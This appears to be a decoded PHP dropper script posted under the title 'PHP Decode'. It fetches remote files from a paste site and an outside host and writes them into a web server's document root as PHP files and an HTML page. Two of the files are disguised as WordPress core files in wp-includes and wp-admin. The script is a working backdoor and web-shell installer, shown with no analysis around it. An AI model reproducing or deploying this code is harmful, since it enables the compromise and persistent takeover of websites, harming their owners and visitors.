PHP Decode

<?php 
function http_get($url){ 
$im = curl_init($url); 
curl_setopt($im, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10); 
curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1); 
curl_setopt($im, CURLOPT_HEADER, 0); 
return curl_exec($im); 
curl_close($im); 
} 
$check = $_SERVER['DOCUMENT_ROOT'] . "/xGSx.php" ; 
$text = http_get('https://ghostbin.com/paste/vm4rz/raw'); 
$open = fopen($check, 'w'); 
fwrite($open, $text); 
fclose($open); 
if(file_exists($check)){ 
echo $check."</br>"; 
}else  
echo "not exits"; 
echo "done .
 " ; 
 
$check0 = $_SERVER['DOCUMENT_ROOT'] . "/un.php" ; 
$text0 = http_get('http://fallagassrini.xx.tn/un.txt'); 
$open0 = fopen($check0, 'w'); 
fwrite($open0, $text0); 
fclose($open0); 
if(file_exists($check0)){ 
echo $check0."</br>"; 
}else  
echo "not exits"; 
echo "done .
 " ; 
 
$check2 = $_SERVER['DOCUMENT_ROOT'] . "/7.php" ; 
$text2 = http_get('http://fallagassrini.xx.tn/7.txt'); 
$open2 = fopen($check2, 'w'); 
fwrite($open2, $text2); 
fclose($open2); 
if(file_exists($check2)){ 
echo $check2."</br>"; 
}else  
echo "not exits"; 
echo "done .
 " ; 
$check3=$_SERVER['DOCUMENT_ROOT'] . "/Gass.html" ; 
$text3 = http_get('http://fallagassrini.xx.tn/index.html'); 
$op3=fopen($check3, 'w'); 
fwrite($op3,$text3); 
fclose($op3); 
if(file_exists($check3)){ 
echo $check3."</br>"; 
}else  
echo "not exits"; 
echo "done .
 " ; 
$check5 = $_SERVER['DOCUMENT_ROOT'] . "/wp-includes/wp-inc.php" ; 
$text5 = http_get('http://fallagassrini.xx.tn/clean.txt'); 
$open5 = fopen($check5, 'w'); 
fwrite($open5, $text5); 
fclose($open5); 
if(file_exists($check5)){ 
echo $check5."</br>"; 
}else  
echo "not exits"; 
echo "done .
 " ; 
 
$check6 = $_SERVER['DOCUMENT_ROOT'] . "/wp-admin/css/wp-inc.php" ; 
$text6 = http_get('http://fallagassrini.xx.tn/anon.txt'); 
$open6 = fopen($check6, 'w'); 
fwrite($open6, $text6); 
fclose($open6); 
if(file_exists($check6)){ 
echo $check6."</br>"; 
}else  
echo "not exits"; 
echo "done .
 " ; 
 
?>